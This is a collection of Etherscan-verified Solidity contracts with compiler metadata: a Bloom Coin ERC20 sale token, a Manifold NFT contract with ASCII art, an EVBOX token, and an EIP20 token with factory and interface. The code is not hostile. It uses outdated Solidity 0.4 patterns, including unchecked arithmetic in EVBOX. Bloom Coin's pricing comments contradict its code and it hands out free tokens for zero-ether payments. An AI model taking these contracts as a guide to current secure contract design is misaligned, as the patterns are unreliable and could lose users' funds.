/** *Submitted for verification at Etherscan.io on 2018-12-01 */ pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'Bloom Coin' // // NAME : Bloom Coin // Symbol : BLM // Total supply: 100,000,000 // Decimals : 8 // // Enjoy. // // Copy(c) by Bloom team.Design by Mr :Tuna // ---------------------------------------------------------------------------- library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BloomCoin is StandardToken { string public constant name = "Bloom Coin"; string public constant symbol = "BLM"; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 10 * 10**7 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function BloomCoin() public { totalSupply = INITIAL_SUPPLY; owner = msg.sender; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** * If the user sends 0 ether, he receives 0.05 * If he sends 0.001 ether, he receives 300 * If he sends 0.005 ether, he receives 1500 * If he sends 0.01 ether, he receives 3000 * If he sends 0.1 ether he receives 30000 * If he sends 1 ether, he receives 300,000 +100% */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = 0; if(_weiAmount == 0){ amountOfTokens = 1 * (10**uint256(decimals)); } if( _weiAmount == 0.001 ether){ amountOfTokens = 100 * (10**uint256(decimals)); } if( _weiAmount == 0.002 ether){ amountOfTokens = 200 * (10**uint256(decimals)); } if( _weiAmount == 0.003 ether){ amountOfTokens = 200 * (10**uint256(decimals)); } if( _weiAmount == 0.004 ether){ amountOfTokens = 400 * (10**uint256(decimals)); } if( _weiAmount == 0.005 ether){ amountOfTokens = 500 * (10**uint256(decimals)); } if( _weiAmount == 0.006 ether){ amountOfTokens = 600 * (10**uint256(decimals)); } if( _weiAmount == 0.007 ether){ amountOfTokens = 700 * (10**uint256(decimals)); } if( _weiAmount == 0.008 ether){ amountOfTokens = 800 * (10**uint256(decimals)); } if( _weiAmount == 0.009 ether){ amountOfTokens = 900 * (10**uint256(decimals)); } if( _weiAmount == 0.01 ether){ amountOfTokens = 1000 * (10**uint256(decimals)); } if( _weiAmount == 0.02 ether){ amountOfTokens = 2000 * (10**uint256(decimals)); } if( _weiAmount == 0.03 ether){ amountOfTokens = 3000 * (10**uint256(decimals)); } if( _weiAmount == 0.04 ether){ amountOfTokens = 4000 * (10**uint256(decimals)); } if( _weiAmount == 0.05 ether){ amountOfTokens = 5000 * (10**uint256(decimals)); } if( _weiAmount == 0.06 ether){ amountOfTokens = 6000 * (10**uint256(decimals)); } if( _weiAmount == 0.07 ether){ amountOfTokens = 7000 * (10**uint256(decimals)); } if( _weiAmount == 0.08 ether){ amountOfTokens = 8000 * (10**uint256(decimals)); } if( _weiAmount == 0.09 ether){ amountOfTokens = 9000 * (10**uint256(decimals)); } if( _weiAmount == 0.1 ether){ amountOfTokens = 10 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.2 ether){ amountOfTokens = 20 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.3 ether){ amountOfTokens = 30 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.4 ether){ amountOfTokens = 40 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.5 ether){ amountOfTokens = 50 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.6 ether){ amountOfTokens = 60 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.7 ether){ amountOfTokens = 70 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.8 ether){ amountOfTokens = 80 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 0.9 ether){ amountOfTokens = 90 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 1 ether){ amountOfTokens = 100 * 10**3 * (10**uint256(decimals)); } return amountOfTokens; } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }

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":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]

v0.4.25+commit.59dbf8f1

Default

Unlicense

bzzr://6033633be36f16b522673738083d85c33dbb417856877abb6ed2b79c30c58c76

SZCZUR

contracts/SZCZUR.sol

0xa53a21d13b7caab9a8c3de290332749112002c5a

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Superszcz4 /// @author: manifold.xyz import "./ERC721Creator.sol"; ////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░▒░░░░░░░░░░░▒▒▒▒▒▓░░░░░░░░░░░░░░░░░░░░░░░▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░▒▒█▒░░░░░▒▒▒▒░░░░░▓▒░░░░░░░░░░░░░░░░░░░░░░░░█░░░░░▒▒▒▒░░░░░░█▓▒░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░▓░░▓█░░░▒▒░░░░░░░░▓█░░░░░░░░░░░░░░░░░░░░░░░░░▒█░░░░░░░░▒▒░░░▒█░░▒▒░░░░░░░░░░░ // // ░░░░░░░░░░░░▓░░░░█▒▒▓░░░░▒░░░░▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░░░░░▒░░░▒▒░█▒░░░▒▒░░░░░░░░░░ // // ░░░░░░░░░░░▓░░░▒░░█▒░░░▒░░░▒▒▓▓▒▒▒▒▒▒▒▓▒░░░░░░░░░░░░▓▒▒▒▒▒▒▒▓▓▒▒▒░░▒░░░░█▓░▒░░░▒▒░░░░░░░░░ // // ░░░░░░░░░░▒▒░░░▒░░▒▓░░░▒▒▒░░░░░░░░░░░▒▒░░░░░░░░░░░░░░▓░░░░░░░░░░░▒▒▒▒░░░▓░░▒░░░░▓░░░░░░░░░ // // ░░░░░░░░░░▒▒░░░░▒░░▓▒▓▒░░░░░░░░░░░░░▓░░░░░░░░░░░░░░░░░▓▒░░░░░░░░░░░░▒▓▓▓░░░▒░░░░▓░░░░░░░░░ // // ░░░░░░░░░░▒▓░░░░░▒░▓▓░░░░░▒▒▒▒░░░░▒▓█░░░░░░░░░░░░░░░░░▒▓▓░░░░░▒▒▒▒░░░░▒█░░▒░░░░▒▓░░░░░░░░░ // // ░░░░░░░░░▓░░▓░░░░▒░▓░░░▒▒░░░░░░░▒▒▒█░░░░░░░░░░░░░░░░░░░▓▓▒▒▒░░░░░░▒▒░░░▓░░▒░░░▒▒░▓░░░░░░░░ // // ░░░░░░░░▓░░░░▓░░░░░█░░░░░░░░░▒▒▒░▓▓░░░░░░░░░░░░░░░░░░░░░░█▒░▒▒░░░░░░▒░░▒▓░░░░▒▒░░░▓░░░░░░░ // // ░░░░░░░▒▒░░▒░░▓▒░░█░░░░░░░▒▓▒░░▓▓░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░▒▓▒░░▒▓▒░░░░░░▓▒░░▓░░░▓░░▓░░░░░░ // // ░░░░░░░▓░░░▓░░░▓▓█▓▒▒▓▓▓▓▒▓▓▒█▓░▒▒▒▒░░░░░░░░░░░░░░░░░░░░▒▒▒░▒█▓▒█▒▓▓▓▓▓▒▒█▓█░░░░▒░░▒▒░░░░░ // // ░░░░░░░▓░░░▓░░░░█▓▒▓▓▒░░░░▓█▓▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▓█░░░░▒▓▓▒▒█▒░░░▓░░░▒▒░░░░░ // // ░░░░▒▒▒▓░░░░▓░░░▓█▒░░░░▒░░▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓░░░▒░░░▒▓█░░░▒▒░░░▒▓▒▒▒░░ // // ░░░▒▒░░▓░░░░▓░░▒▒░░░░▒▒░░░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░▒░░░░▒▓░░▒░░░░▓░░░▓░░ // // ░░░▒▒░░░▓░░░░░▒▒░░░▒▒░░░░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░▒▒░░░░▓░░░░░▒▓░░░▓░░ // // ░░░▒▒░░░▒▓░░░░▓░░▒▒░░░░░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░░░▒▒░░░▓░░░▒█░░░░▓░░ // // ░░░░▓░░░░▓▓░░▓░░▒░░░░▒▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓▒▒░░░▒░░▓░░▒█▒░░░▒▒░░ // // ░░░░▒▒░░░▒▒█▒█░░░░▒▒░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓░░░▒▒▒░░░▓▒█▓░▒░░░▓░░░ // // ░░░▓▒▓▒░░▒▒░▓█▒░▒▒░░░░░░█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒░░░░░░▓░░██▒▒▒░░░▓▒▒▓░ // // ░░░▓░░▒▒░░░▒░░▓▓░░░░░░░░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█░░░▒░░░░▒▓▒░▒░░░░▓░░░▒░ // // ░░░▓░░░░▓░░░░░▓░░░░░▒░░░▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█░░░░▒░░░░▓░░░░░▒▒░░░▓░░ // // ░░░▒▓░░░▒▒▓░░░▓░░░░▒░░░░█░░░▒▒▒▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░▒▓▓▒▒▒▒░░█▒░░░░▒░░░▓░░░▒▓▒▒░░░▓░░ // // ░░░░▓▒░░░▓░▒▓▓▓░░░▓░░░░▒████████████▓░░░░░░░░░░░░░░░░░▒█████████████░░░░▒░░░▓▒▓▓░▒░░░░█░░░ // // ░░░░░▓▒░░░▓░░▒▓▒░░▒░░░░███████████████▒░░░░░░░░░░░░░░███████████████▓░░░░▒░░█▒░░▒░░░░█░░░░ // // ░░░░░░▓▓░░░▒▒░░▓░░░░░░█████████████████░░░░░░░░░░░░░▓████████████████▓░░░░░▓░░░▒░░░▒█░░░░░ // // ░░░░░░░▒█▒░░░░░░▓░░░▒██████████████████░░░░░░░░░░░░░▓██████████████████░░░▒▒░░░░░░█▓░░░░░░ // // ░░░░░░░░░▓█▒░░░░▒▒░█▓▓█████████████████░░░░▓▓▓██░░░░▓█████████████████▒█▒░▓░░░░▒▓▓░░░░░░░░ // // ░░░░░░░░░░░▒█▓▒░░▓█▒░▓████████████████▒░░▒███████░░░░█████████████████░░██░░▒▓█▓░░░░░░░░░░ // // ░░░░░░░░░░░░░░▒▓███▒░▒███████████████▒░░░████████▓░░░░▓███████████████░░████▓▒░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░█░░░▓███████████▓▒░░░░▓█████████░░░░░░▓████████████▒░░█▒░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░█░░░░▒▓▓█████▓▒░░░░░░░██████████▓░░░░░░░░▓██████▓▒░░░░▓▒░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░█░░░░░░░░░░░░░░░░░░░░▓███████████░░░░░░░░░░░░░░░░░░░░░▓▒░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░█░░░░░░░░░░░░░░░░░░░░████████████▒░░░░░░░░░░░░░░░░░░░░▓▒░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░█░░░░░░░░░░░░░░░░░░░░████████████▒░░░░░░░░░░░░░░░░░░░░▓▒░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░▒▓░░░░░░░░░░░░░░░░░░░███████████▓░░░░░░░░░░░░░░░░░░░░▒▓░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░▒▓▓▓▓▓▒░░░░░░░░░░░░░▒▒▒░░░░▒▒░░░░░░░░░░░░░░░▒▒▓▓▓▓▒░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░▒█████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█████▓░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░████▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒▓███▒░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▒▒▒▒░░░░░░░░░░░░░░░░░░░░▒▒▒▓▒░░░▒░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░▓░▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▒▓░▒░▓░▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓░▓░▓░░▒▒░░░▓░░░░▓░░▒░▓░▒▓▒▒▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓░▓░░▓░░░░▓░░░░▓▒░▒▒▒▓▒▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // // // // ////////////////////////////////////////////////////////////////////////////////////////////////////// contract SZCZUR is ERC721Creator { constructor() ERC721Creator("Superszcz4", "SZCZUR") {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.7+commit.e28d00a7

Default

0xe4e4003afe3765aca8149a82fc064c0b125b9e5a

EVBOX

EVBOX.sol

0x5f40ec5bacafc7479c90a32dba8d617022f36675

Solidity

pragma solidity ^0.4.20; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom( address _from, address _to, uint256 _value ) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom( address _from, address _to, uint256 _value ) returns (bool success) { if ( balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 ) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; uint256 public totalSupply; } contract EVBOX is StandardToken { function() { throw; } string public name; uint8 public decimals; string public symbol; string public version = "H1.0"; function EVBOX() { balances[msg.sender] = 100000000000000; totalSupply = 100000000000000; name = "EVBOX.CLOUD"; decimals = 8; symbol = "EV"; } function approveAndCall( address _spender, uint256 _value, bytes _extraData ) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if ( !_spender.call( bytes4( bytes32( sha3("receiveApproval(address,uint256,address,bytes)") ) ), msg.sender, _value, this, _extraData ) ) { throw; } return true; } }

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v0.4.26+commit.4563c3fc

Default

None

bzzr://9534f819f650c81336d1a64b17632e911163f1fe02a67daf9040336bdddd0ec7

EIP20

EIP20.sol

0xf55fcbddc690a8f2c709e3edc3d7f65e67a8c3cc

Solidity

/* Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md .*/ pragma solidity ^0.4.21; import "./EIP20Interface.sol"; contract EIP20 is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX function EIP20( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }

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v0.4.21+commit.dfe3193c

00000000000000000000000000000000000000001027e72f1f128130880000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000b4c2d44696d656e73696f6e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c44530000000000000000000000000000000000000000000000000000000000

Default

bzzr://00e89e622e6adc0727527a7f09be342b36bf6cc3375d6939ce10d7af5043ec92

EIP20

EIP20Factory.sol

0xf55fcbddc690a8f2c709e3edc3d7f65e67a8c3cc

Solidity

import "./EIP20.sol"; pragma solidity ^0.4.21; contract EIP20Factory { mapping(address => address[]) public created; mapping(address => bool) public isEIP20; //verify without having to do a bytecode check. bytes public EIP20ByteCode; // solhint-disable-line var-name-mixedcase function EIP20Factory() public { //upon creation of the factory, deploy a EIP20 (parameters are meaningless) and store the bytecode provably. address verifiedToken = createEIP20(10000, "Verify Token", 3, "VTX"); EIP20ByteCode = codeAt(verifiedToken); } //verifies if a contract that has been deployed is a Human Standard Token. //NOTE: This is a very expensive function, and should only be used in an eth_call. ~800k gas function verifyEIP20(address _tokenContract) public view returns (bool) { bytes memory fetchedTokenByteCode = codeAt(_tokenContract); if (fetchedTokenByteCode.length != EIP20ByteCode.length) { return false; //clear mismatch } //starting iterating through it if lengths match for (uint i = 0; i < fetchedTokenByteCode.length; i++) { if (fetchedTokenByteCode[i] != EIP20ByteCode[i]) { return false; } } return true; } function createEIP20(uint256 _initialAmount, string _name, uint8 _decimals, string _symbol) public returns (address) { EIP20 newToken = (new EIP20(_initialAmount, _name, _decimals, _symbol)); created[msg.sender].push(address(newToken)); isEIP20[address(newToken)] = true; //the factory will own the created tokens. You must transfer them. newToken.transfer(msg.sender, _initialAmount); return address(newToken); } //for now, keeping this internal. Ideally there should also be a live version of this that // any contract can use, lib-style. //retrieves the bytecode at a specific address. function codeAt(address _addr) internal view returns (bytes outputCode) { assembly { // solhint-disable-line no-inline-assembly // retrieve the size of the code, this needs assembly let size := extcodesize(_addr) // allocate output byte array - this could also be done without assembly // by using outputCode = new bytes(size) outputCode := mload(0x40) // new "memory end" including padding mstore(0x40, add(outputCode, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // store length in memory mstore(outputCode, size) // actually retrieve the code, this needs assembly extcodecopy(_addr, add(outputCode, 0x20), 0, size) } } }

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v0.4.21+commit.dfe3193c

00000000000000000000000000000000000000001027e72f1f128130880000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000b4c2d44696d656e73696f6e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c44530000000000000000000000000000000000000000000000000000000000

Default

bzzr://00e89e622e6adc0727527a7f09be342b36bf6cc3375d6939ce10d7af5043ec92

EIP20

EIP20Interface.sol

0xf55fcbddc690a8f2c709e3edc3d7f65e67a8c3cc

Solidity

// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md pragma solidity ^0.4.21; contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }

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v0.4.21+commit.dfe3193c

00000000000000000000000000000000000000001027e72f1f128130880000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000b4c2d44696d656e73696f6e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c44530000000000000000000000000000000000000000000000000000000000

Default

bzzr://00e89e622e6adc0727527a7f09be342b36bf6cc3375d6939ce10d7af5043ec92

TTM

TTM.sol

0xa82fb2c2a4a8222ea3a96b6bc25fe8686267bf6e

Solidity

